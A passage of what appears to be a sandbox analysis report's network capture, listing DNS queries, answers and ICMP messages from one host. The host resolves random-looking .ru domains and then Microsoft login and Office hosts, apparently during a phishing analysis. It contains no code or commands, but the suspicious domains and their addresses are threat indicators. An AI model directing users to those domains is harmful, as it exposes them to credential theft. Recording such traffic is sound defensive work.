Dec 11, 2024 19:22:56.230796099 CET	53	63920	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:58.137937069 CET	53176	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:58.138051033 CET	63868	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:58.276849031 CET	53	53176	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:58.277899027 CET	53	63868	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:58.998328924 CET	62498	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:58.998464108 CET	54600	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:59.141419888 CET	53	62498	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:59.143338919 CET	53	54600	1.1.1.1	192.168.2.5
Dec 11, 2024 19:23:03.710266113 CET	53	64568	1.1.1.1	192.168.2.5
Dec 11, 2024 19:23:04.796325922 CET	49420	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:04.796516895 CET	54659	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:04.943912983 CET	53	49946	1.1.1.1	192.168.2.5
Dec 11, 2024 19:23:07.984374046 CET	57939	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:07.984489918 CET	57078	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:09.889683962 CET	49522	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:09.889812946 CET	55157	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:17.253524065 CET	57292	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:17.253808975 CET	58877	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:17.391305923 CET	53	58877	1.1.1.1	192.168.2.5
Dec 11, 2024 19:23:17.392033100 CET	53	57292	1.1.1.1	192.168.2.5
Dec 11, 2024 19:23:21.928141117 CET	49480	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:21.928622007 CET	56256	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:21.929110050 CET	52727	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:21.929279089 CET	65073	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:22.031718016 CET	60614	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:22.031883001 CET	61677	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:22.069542885 CET	53	54836	1.1.1.1	192.168.2.5
Dec 11, 2024 19:23:23.720303059 CET	61872	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:23.720493078 CET	59328	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:24.095732927 CET	53006	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:24.095848083 CET	55306	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:27.126488924 CET	53562	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:27.126652002 CET	50092	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:27.146182060 CET	61965	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:27.146311045 CET	55499	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:27.161745071 CET	55829	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:27.162204981 CET	56001	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:27.264656067 CET	53	53562	1.1.1.1	192.168.2.5
Dec 11, 2024 19:23:27.283606052 CET	53	61965	1.1.1.1	192.168.2.5
Dec 11, 2024 19:23:27.354588985 CET	53	55499	1.1.1.1	192.168.2.5
Dec 11, 2024 19:23:27.409548044 CET	53	50092	1.1.1.1	192.168.2.5
Dec 11, 2024 19:23:27.419821024 CET	58426	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:27.419949055 CET	50148	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:27.866796970 CET	62469	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:27.866923094 CET	63807	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:29.055073023 CET	52181	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:29.055180073 CET	64886	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:29.195425987 CET	53	64886	1.1.1.1	192.168.2.5
Dec 11, 2024 19:23:29.195455074 CET	53	52181	1.1.1.1	192.168.2.5
Dec 11, 2024 19:23:29.209178925 CET	60421	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:29.209275007 CET	51739	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:23:29.348619938 CET	53	60421	1.1.1.1	192.168.2.5
Dec 11, 2024 19:23:29.348642111 CET	53	51739	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 11, 2024 19:22:42.279160023 CET	192.168.2.5	1.1.1.1	c26c	(Port unreachable)	Destination Unreachable
Dec 11, 2024 19:22:44.875299931 CET	192.168.2.5	1.1.1.1	c31c	(Port unreachable)	Destination Unreachable
Dec 11, 2024 19:22:55.972331047 CET	192.168.2.5	1.1.1.1	c268	(Port unreachable)	Destination Unreachable
Dec 11, 2024 19:23:10.477051973 CET	192.168.2.5	1.1.1.1	c28e	(Port unreachable)	Destination Unreachable
Dec 11, 2024 19:23:13.591514111 CET	192.168.2.5	1.1.1.1	c2c4	(Port unreachable)	Destination Unreachable
Dec 11, 2024 19:23:22.368438005 CET	192.168.2.5	1.1.1.1	c278	(Port unreachable)	Destination Unreachable
Dec 11, 2024 19:23:24.647042990 CET	192.168.2.5	1.1.1.1	c27c	(Port unreachable)	Destination Unreachable
Dec 11, 2024 19:23:27.354722023 CET	192.168.2.5	1.1.1.1	c226	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2024 19:22:08.319819927 CET	192.168.2.5	1.1.1.1	0x6c6f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:08.319960117 CET	192.168.2.5	1.1.1.1	0xf24f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 11, 2024 19:22:09.470237970 CET	192.168.2.5	1.1.1.1	0xdffd	Standard query (0)	18qdy4sm2g.lomidore.ru	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:09.470623016 CET	192.168.2.5	1.1.1.1	0xa946	Standard query (0)	18qdy4sm2g.lomidore.ru	65	IN (0x0001)	false
Dec 11, 2024 19:22:13.278589010 CET	192.168.2.5	1.1.1.1	0x69c6	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:13.278737068 CET	192.168.2.5	1.1.1.1	0x15c	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 11, 2024 19:22:13.279226065 CET	192.168.2.5	1.1.1.1	0xa06c	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:13.279373884 CET	192.168.2.5	1.1.1.1	0xa1a2	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 11, 2024 19:22:13.279802084 CET	192.168.2.5	1.1.1.1	0xea41	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:13.279954910 CET	192.168.2.5	1.1.1.1	0x42fe	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 11, 2024 19:22:15.456088066 CET	192.168.2.5	1.1.1.1	0xfe7a	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:15.456238031 CET	192.168.2.5	1.1.1.1	0xd8ef	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 11, 2024 19:22:15.519545078 CET	192.168.2.5	1.1.1.1	0x9e8c	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:15.519684076 CET	192.168.2.5	1.1.1.1	0xdbbd	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 11, 2024 19:22:17.174344063 CET	192.168.2.5	1.1.1.1	0xdd8a	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:17.174710989 CET	192.168.2.5	1.1.1.1	0xddcf	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 11, 2024 19:22:17.190414906 CET	192.168.2.5	1.1.1.1	0x1e90	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:17.190668106 CET	192.168.2.5	1.1.1.1	0x98f3	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 11, 2024 19:22:22.029846907 CET	192.168.2.5	1.1.1.1	0x9332	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:22.030200958 CET	192.168.2.5	1.1.1.1	0x7743	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Dec 11, 2024 19:22:38.005286932 CET	192.168.2.5	1.1.1.1	0xaa45	Standard query (0)	o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:38.005498886 CET	192.168.2.5	1.1.1.1	0x11fa	Standard query (0)	o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru	65	IN (0x0001)	false
Dec 11, 2024 19:22:41.897880077 CET	192.168.2.5	1.1.1.1	0xe032	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:41.898097038 CET	192.168.2.5	1.1.1.1	0x965	Standard query (0)	www.office.com	65	IN (0x0001)	false
Dec 11, 2024 19:22:41.925319910 CET	192.168.2.5	1.1.1.1	0x56fa	Standard query (0)	o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:41.925519943 CET	192.168.2.5	1.1.1.1	0xd4ab	Standard query (0)	o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru	65	IN (0x0001)	false
Dec 11, 2024 19:22:44.455899000 CET	192.168.2.5	1.1.1.1	0x894b	Standard query (0)	portal.office.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.456228018 CET	192.168.2.5	1.1.1.1	0x5258	Standard query (0)	portal.office.com	65	IN (0x0001)	false
Dec 11, 2024 19:22:44.457051039 CET	192.168.2.5	1.1.1.1	0x5a11	Standard query (0)	outlook.office.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.457199097 CET	192.168.2.5	1.1.1.1	0xdd64	Standard query (0)	outlook.office.com	65	IN (0x0001)	false
Dec 11, 2024 19:22:44.457768917 CET	192.168.2.5	1.1.1.1	0x5a15	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.457963943 CET	192.168.2.5	1.1.1.1	0xf28e	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Dec 11, 2024 19:22:44.604381084 CET	192.168.2.5	1.1.1.1	0xe02f	Standard query (0)	substrate.office.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.604631901 CET	192.168.2.5	1.1.1.1	0xf1bc	Standard query (0)	substrate.office.com	65	IN (0x0001)	false
Dec 11, 2024 19:22:50.402136087 CET	192.168.2.5	1.1.1.1	0xd985	Standard query (0)	mem.gfx.ms	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:50.402273893 CET	192.168.2.5	1.1.1.1	0xe596	Standard query (0)	mem.gfx.ms	65	IN (0x0001)	false
Dec 11, 2024 19:22:53.001585007 CET	192.168.2.5	1.1.1.1	0x4bd	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:53.001724958 CET	192.168.2.5	1.1.1.1	0xad45	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Dec 11, 2024 19:22:53.590363026 CET	192.168.2.5	1.1.1.1	0xbd07	Standard query (0)	mem.gfx.ms	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:53.590513945 CET	192.168.2.5	1.1.1.1	0xff1c	Standard query (0)	mem.gfx.ms	65	IN (0x0001)	false
Dec 11, 2024 19:22:55.581875086 CET	192.168.2.5	1.1.1.1	0x81d6	Standard query (0)	logincdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:55.582149982 CET	192.168.2.5	1.1.1.1	0x14d7	Standard query (0)	logincdn.msftauth.net	65	IN (0x0001)	false
Dec 11, 2024 19:22:55.583518982 CET	192.168.2.5	1.1.1.1	0x7d21	Standard query (0)	acctcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:55.583623886 CET	192.168.2.5	1.1.1.1	0x5a75	Standard query (0)	acctcdn.msftauth.net	65	IN (0x0001)	false
Dec 11, 2024 19:22:55.790069103 CET	192.168.2.5	1.1.1.1	0x5296	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:55.790188074 CET	192.168.2.5	1.1.1.1	0xb989	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 11, 2024 19:22:58.137937069 CET	192.168.2.5	1.1.1.1	0xa390	Standard query (0)	logincdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:58.138051033 CET	192.168.2.5	1.1.1.1	0xf35	Standard query (0)	logincdn.msftauth.net	65	IN (0x0001)	false
Dec 11, 2024 19:22:58.998328924 CET	192.168.2.5	1.1.1.1	0xa80f	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:58.998464108 CET	192.168.2.5	1.1.1.1	0x7338	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 11, 2024 19:23:04.796325922 CET	192.168.2.5	1.1.1.1	0xb574	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:04.796516895 CET	192.168.2.5	1.1.1.1	0x66fa	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 11, 2024 19:23:07.984374046 CET	192.168.2.5	1.1.1.1	0xa8da	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:07.984489918 CET	192.168.2.5	1.1.1.1	0x2900	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 11, 2024 19:23:09.889683962 CET	192.168.2.5	1.1.1.1	0xd312	Standard query (0)	signup.live.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:09.889812946 CET	192.168.2.5	1.1.1.1	0x88aa	Standard query (0)	signup.live.com	65	IN (0x0001)	false
Dec 11, 2024 19:23:17.253524065 CET	192.168.2.5	1.1.1.1	0x5315	Standard query (0)	logincdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:17.253808975 CET	192.168.2.5	1.1.1.1	0xb4ba	Standard query (0)	logincdn.msftauth.net	65	IN (0x0001)	false
Dec 11, 2024 19:23:21.928141117 CET	192.168.2.5	1.1.1.1	0x816f	Standard query (0)	fpt.live.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:21.928622007 CET	192.168.2.5	1.1.1.1	0x7aa	Standard query (0)	fpt.live.com	65	IN (0x0001)	false
Dec 11, 2024 19:23:21.929110050 CET	192.168.2.5	1.1.1.1	0x463a	Standard query (0)	msft.hsprotect.net	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:21.929279089 CET	192.168.2.5	1.1.1.1	0x4ba1	Standard query (0)	msft.hsprotect.net	65	IN (0x0001)	false
Dec 11, 2024 19:23:22.031718016 CET	192.168.2.5	1.1.1.1	0x27ba	Standard query (0)	m365cdn.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:22.031883001 CET	192.168.2.5	1.1.1.1	0xf4c1	Standard query (0)	m365cdn.nel.measure.office.net	65	IN (0x0001)	false
Dec 11, 2024 19:23:23.720303059 CET	192.168.2.5	1.1.1.1	0x1053	Standard query (0)	signup.live.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:23.720493078 CET	192.168.2.5	1.1.1.1	0x6e5e	Standard query (0)	signup.live.com	65	IN (0x0001)	false
Dec 11, 2024 19:23:24.095732927 CET	192.168.2.5	1.1.1.1	0x26d8	Standard query (0)	client.hsprotect.net	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:24.095848083 CET	192.168.2.5	1.1.1.1	0x536	Standard query (0)	client.hsprotect.net	65	IN (0x0001)	false
Dec 11, 2024 19:23:27.126488924 CET	192.168.2.5	1.1.1.1	0x8dcd	Standard query (0)	collector-pxzc5j78di.hsprotect.net	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:27.126652002 CET	192.168.2.5	1.1.1.1	0xae07	Standard query (0)	collector-pxzc5j78di.hsprotect.net	65	IN (0x0001)	false
Dec 11, 2024 19:23:27.146182060 CET	192.168.2.5	1.1.1.1	0xa270	Standard query (0)	stk.hsprotect.net	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:27.146311045 CET	192.168.2.5	1.1.1.1	0xd20c	Standard query (0)	stk.hsprotect.net	65	IN (0x0001)	false
Dec 11, 2024 19:23:27.161745071 CET	192.168.2.5	1.1.1.1	0x1a13	Standard query (0)	client.hsprotect.net	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:27.162204981 CET	192.168.2.5	1.1.1.1	0x49bb	Standard query (0)	client.hsprotect.net	65	IN (0x0001)	false
Dec 11, 2024 19:23:27.419821024 CET	192.168.2.5	1.1.1.1	0x6499	Standard query (0)	fpt.live.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:27.419949055 CET	192.168.2.5	1.1.1.1	0x7c23	Standard query (0)	fpt.live.com	65	IN (0x0001)	false
Dec 11, 2024 19:23:27.866796970 CET	192.168.2.5	1.1.1.1	0x3154	Standard query (0)	acctcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:27.866923094 CET	192.168.2.5	1.1.1.1	0x2d99	Standard query (0)	acctcdn.msftauth.net	65	IN (0x0001)	false
Dec 11, 2024 19:23:29.055073023 CET	192.168.2.5	1.1.1.1	0x29e3	Standard query (0)	collector-pxzc5j78di.hsprotect.net	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:29.055180073 CET	192.168.2.5	1.1.1.1	0x1d00	Standard query (0)	collector-pxzc5j78di.hsprotect.net	65	IN (0x0001)	false
Dec 11, 2024 19:23:29.209178925 CET	192.168.2.5	1.1.1.1	0x42b6	Standard query (0)	stk.hsprotect.net	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:23:29.209275007 CET	192.168.2.5	1.1.1.1	0x6573	Standard query (0)	stk.hsprotect.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 11, 2024 19:22:08.458090067 CET	1.1.1.1	192.168.2.5	0xf24f	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 11, 2024 19:22:08.458206892 CET	1.1.1.1	192.168.2.5	0x6c6f	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:09.949403048 CET	1.1.1.1	192.168.2.5	0xa946	No error (0)	18qdy4sm2g.lomidore.ru			65	IN (0x0001)	false
Dec 11, 2024 19:22:09.949453115 CET	1.1.1.1	192.168.2.5	0xdffd	No error (0)	18qdy4sm2g.lomidore.ru		172.67.215.131	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:09.949453115 CET	1.1.1.1	192.168.2.5	0xdffd	No error (0)	18qdy4sm2g.lomidore.ru		104.21.37.240	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:13.419284105 CET	1.1.1.1	192.168.2.5	0x69c6	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:13.419284105 CET	1.1.1.1	192.168.2.5	0x69c6	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:13.419284105 CET	1.1.1.1	192.168.2.5	0x69c6	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:13.419284105 CET	1.1.1.1	192.168.2.5	0x69c6	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:13.491029978 CET	1.1.1.1	192.168.2.5	0xa06c	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:13.491029978 CET	1.1.1.1	192.168.2.5	0xa06c	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:13.491077900 CET	1.1.1.1	192.168.2.5	0xea41	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:13.491077900 CET	1.1.1.1	192.168.2.5	0xea41	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:13.491107941 CET	1.1.1.1	192.168.2.5	0x42fe	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 11, 2024 19:22:13.491939068 CET	1.1.1.1	192.168.2.5	0xa1a2	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 11, 2024 19:22:15.593250990 CET	1.1.1.1	192.168.2.5	0xfe7a	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:15.593250990 CET	1.1.1.1	192.168.2.5	0xfe7a	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:15.593475103 CET	1.1.1.1	192.168.2.5	0xd8ef	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 11, 2024 19:22:15.657318115 CET	1.1.1.1	192.168.2.5	0x9e8c	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:15.657318115 CET	1.1.1.1	192.168.2.5	0x9e8c	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:15.657318115 CET	1.1.1.1	192.168.2.5	0x9e8c	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:15.657318115 CET	1.1.1.1	192.168.2.5	0x9e8c	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:17.312426090 CET	1.1.1.1	192.168.2.5	0xddcf	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 11, 2024 19:22:17.313829899 CET	1.1.1.1	192.168.2.5	0xdd8a	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:17.313829899 CET	1.1.1.1	192.168.2.5	0xdd8a	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:17.327881098 CET	1.1.1.1	192.168.2.5	0x1e90	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:17.327881098 CET	1.1.1.1	192.168.2.5	0x1e90	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:17.328375101 CET	1.1.1.1	192.168.2.5	0x98f3	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 11, 2024 19:22:22.169601917 CET	1.1.1.1	192.168.2.5	0x9332	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:38.149422884 CET	1.1.1.1	192.168.2.5	0xaa45	No error (0)	o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru		104.21.32.251	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:38.149422884 CET	1.1.1.1	192.168.2.5	0xaa45	No error (0)	o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru		172.67.139.11	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:38.149554014 CET	1.1.1.1	192.168.2.5	0x11fa	No error (0)	o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru			65	IN (0x0001)	false
Dec 11, 2024 19:22:42.038539886 CET	1.1.1.1	192.168.2.5	0xe032	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:42.038539886 CET	1.1.1.1	192.168.2.5	0xe032	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:42.067217112 CET	1.1.1.1	192.168.2.5	0x56fa	No error (0)	o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru		104.21.32.251	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:42.067217112 CET	1.1.1.1	192.168.2.5	0x56fa	No error (0)	o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru		172.67.139.11	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:42.067233086 CET	1.1.1.1	192.168.2.5	0xd4ab	No error (0)	o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru			65	IN (0x0001)	false
Dec 11, 2024 19:22:42.279055119 CET	1.1.1.1	192.168.2.5	0x965	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:42.279055119 CET	1.1.1.1	192.168.2.5	0x965	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.593868017 CET	1.1.1.1	192.168.2.5	0xdd64	No error (0)	outlook.office.com	substrate.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.593868017 CET	1.1.1.1	192.168.2.5	0xdd64	No error (0)	substrate.office.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.593868017 CET	1.1.1.1	192.168.2.5	0xdd64	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.594156027 CET	1.1.1.1	192.168.2.5	0x894b	No error (0)	portal.office.com	admin-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.594156027 CET	1.1.1.1	192.168.2.5	0x894b	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.594166994 CET	1.1.1.1	192.168.2.5	0x5258	No error (0)	portal.office.com	admin-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.594166994 CET	1.1.1.1	192.168.2.5	0x5258	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.595633984 CET	1.1.1.1	192.168.2.5	0xf28e	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.596868038 CET	1.1.1.1	192.168.2.5	0x5a15	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.596990108 CET	1.1.1.1	192.168.2.5	0x5a11	No error (0)	outlook.office.com	substrate.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.596990108 CET	1.1.1.1	192.168.2.5	0x5a11	No error (0)	substrate.office.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.596990108 CET	1.1.1.1	192.168.2.5	0x5a11	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 19:22:44.596990108 CET	1.1.1.1	192.168.2.5	0x5a11	No error (0)	ooc-g2.tm-4.office.com		40.99.70.178	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.596990108 CET	1.1.1.1	192.168.2.5	0x5a11	No error (0)	ooc-g2.tm-4.office.com		52.98.61.34	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.596990108 CET	1.1.1.1	192.168.2.5	0x5a11	No error (0)	ooc-g2.tm-4.office.com		40.99.32.114	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.596990108 CET	1.1.1.1	192.168.2.5	0x5a11	No error (0)	ooc-g2.tm-4.office.com		40.99.70.210	A (IP address)	IN (0x0001)	false
Dec 11, 2024 19:22:44.596990108 CET	1.1.1.1	192.168.2.5	0x5a11	No error (0)	ooc-g2.tm-4.office.com		52.98.32.2	A (IP address)	IN (0x0001)	false
